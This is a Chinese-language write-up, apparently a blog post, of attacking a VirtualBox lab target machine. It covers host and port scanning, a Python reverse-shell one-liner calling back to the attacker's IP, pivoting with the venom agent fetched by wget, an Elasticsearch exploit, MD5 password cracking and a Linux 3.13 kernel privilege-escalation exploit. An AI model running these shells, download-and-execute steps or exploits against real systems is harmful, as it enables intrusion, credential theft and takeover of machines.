注意事项,此靶机需要再virtualbox上搭建,在VM上搭建,无法使用

一、主机发现

arp-scan是Kali自带的一款轻量级ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描(对于目标主机可以指定IP地址或主机名,可以是一个网段,指定一个地址方位,指定主机和子网掩码)

arp-scan使用_东风笑西风的博客-CSDN博客

arp-scan -l

image-20240617153027946

二、namp端口扫描

2.1、扫描开放端口

nmap -sS -T4 -p1-65522  192.168.210.254 (扫描该服务有什么端口服务)

image.png

2.2、扫描指定端口,及详细信息

nmap -sV -T4 -p22,5000 192.168.210.254 (查看端口服务的具体应用,什么服务,服务版本)

image.png

2.3、访问靶机的web网页

image.png

三、对web网站进行目录扫描

3.1、使用dirsearch

dirsearch -u 192.168.210.254:5000

image.png

扫描出admin路径

3.2、访问目录路径

image.png

exec函数:exec函数详解-CSDN博客

3.3、根据前面收集的信息反弹shell

使用nmap扫描时,可以看到是由python语言写的,网上查找python反弹shell语句

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

请添加图片描述

3.4、在反弹shell之前,使用kali对端口号进行监听

nc -lvnp 5555

3.4.1、nc(netcat)瑞士军刀

nc命令用法举例 - nmap - 博客园 (cnblogs.com)

nc的作用
  • 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
  • 端口的扫描,nc可以作为client发起TCP或UDP连接
  • 机器之间传输文件
  • 机器之间网络测速
使用方式
1) -l	用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
2) -p <port> 暂未用到(老版本的nc可能需要在端口号前加-p参数,下面测试环境是centos6.6,nc版本是nc-1.84,未用到-p参数)
3) -s 指定发送数据的源IP地址,适用于多网卡机
4) -u 指定nc使用UDP协议,默认为TCP
5) -v 输出交互或出错信息,新手调试时尤为有用
6)-w 超时秒数,后面跟数字
7)-z 表示zero,表示扫描时不发送任何数据

四 、查看靶机内容

使用 ls 查看目录

image.png

4.1、因为有Dockerfile文件,查看是否是docker容器

方法一

ls /.dockerenv

如果根下存在这个文件,说明是docker容器

img

方法二

cat  /proc/1/cgroup    出现一下内容及证明是在docker容器内

image.png

理解:

入侵者攻击进入了你的虚拟机kail,而flag在物理机win10上,所以需要将kali当做跳板,进入win10拿到flag

4.2、查询同一网段的存活ip

4.2.1、查看ip

ip a

image.png

4.2.2、查询网段内存活ip

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

image.png

五、内网穿透

5.1、内网流量代理

  • 正向代理 (Forward Proxy) 通常应用在目标有防火墙或者不出网,我们能访问它的情况下:Client -> proxy -> Target
  • 反向代理 (Reverse Proxy) 通常应用在目标有防火墙或者不允许外界访问,但是它们能访问我们的情况下:Client <--> proxy <--> firewall <--> Target

代理需要关注 Socks 协议,代理工具一般的版本支持

  • SOCKS4: 支持TELNET、FTPHTTP等TCP协议
  • SOCKS5: 支持TCP与UDP,并支持安全认证方案

代理工具

  • 端口转发工具:NC, LCX, regGorg, venom, ngrock …
  • 代理链工具:proxychains(Linux), proxifier(windows) …

5.2、内网穿透-venom

5.2.1、kali监听端口

./admin_linux_x64 -lport 9999

image.png

5.2.2、将客户端文件传送的到靶机上

使用python脚本将将攻击机80端口打开

在kali攻击机中:

python3 -m http.server 80   (开启http服务 ,在venom路径下发布http服务)

image.png

5.2.3、受害机接受文件

内网受害机:

wegt  http://ip/agent_l![image.png](https://wudao3579.oss-cn-beijing.aliyuncs.com/image/202311071940289.png)

5.2.4、对程序授权使其运行

chmod +x agent_linux_x64
./agent_linux_x64 -rhost kali攻击机ip -rport 监听端口

image.png

5.2.5、kali连接成功

image.png

show  查看有个节点已经连接上了
goto 1 到这个节点
使用socks代理侦听 1080 端口

image.png

六、kali工具挂上代理

6.1.1SOCKS5代理

image.png

6.2、全局配置代理

vim /etc/proxychains4

image.png

image.png

image.png

6.3、浏览器配置代理

image.png

6.3.2、使用代理后访问靶机web页面

image.png

七、搜索相关漏洞

7.1.1、使用searchsploit搜素Elashticsearch

image.png

7.1.2、利用相关脚本

利用脚本文件路径:/usr/share/expoloitdb/exploits

拷贝到Venom路径下利用

cp /usr/share/expoloitdb/exploits/linux/remote/36337.py

image.png

7.1.3、利用脚本

proxychains python2 36337.py 172.17.0.2

image.png

image-20220315191954324

脚本报错退出运行

使用burpsuite,挂上socks5代理,向Elasticsearch发起post请求,插入数据lupin

image-20220315194136340

配置burpsuite使用socks代理

image-20220315194856194

配置浏览器使用burpsuite代理

image-20220315194343059

image-20220315194451530

image-20220315231208502

image-20220315231550155

创建成功后,重新尝试执行命令:proxychains python2 36337.py 172.17.0.3

image-20220315231804320

7.1.3.1、输入id ,ls等查看相关信息

image.png

7.1.3.2、发现password文件

图片.png

7.1.3.3、查看password文件
cat passwords

发现了账号和密码,只不过密码都是md5加密后的形式,我们可以复制这些值,然后去在线的md5解密网站来获取到明文密码

图片.png

这里推荐几个常用的md5解密网站:

https://www.cmd5.com/

https://www.somd5.com/

https://www.chamd5.com/

https://pmd5.com/

解密后挨个尝试登录,发现只有john用户可以登录,john的密码:1337hack

八、登录提权

ssh john

图片.png

8.1、提权

image.png

ssh连接上以后,发现不能使用sudo,权限不够,需要权限

使用 uname -a 发现linux内核版本为3.13

uname -a

image.png

8.2、找出相关系统利用脚本

使用 searchspolit linux 3.13 找出脚本文件

searchsploit Linux 3.13.0                                            #搜索该内核版本的漏洞

image.png

cp /usr/share/exploitdb/exploits/linux/local/37292.c  .              #将exp复制到当前目录便于操作

建议放在Venom路径下

8.3、调试脚本

在Venom路径下

vim 37292.c

删除下图部分,删除后保存

请添加图片描述

locate ofs-lib.so

请添加图片描述

cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

编译3729.c 文件,报错正常现象

gcc -o exp 37292.c

九、在靶机上下载脚本

exp和ofs-lib.so 文件需要在Venom文件夹里

wget http://攻击机ip/exp

wget http://攻击机ip/ofs-lib.so

传输时确保攻击机的web服务和80端口开放

python3 -m http.server 80               #在kali上开启临时的http服务

9.1、传输成功后对程序进行授权

chmod +x exp                            #赋权
./exp #执行

图片.png

十、exp运行报错

如果出现下面错误,是你 kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的

image-20231107203431602

解决方法是在靶机中使用 ldd --version 命令确定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然后去相关官网搜索 2.19-0ubuntu6 下载其对应版本的库文件,此靶机适用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb 下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 确认其存在,编译 C 时使用 gcc 参数 -Ldir 指定上面的 libc.so.6 的路径,

解决的编译命令:

gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6

image-20231107203503880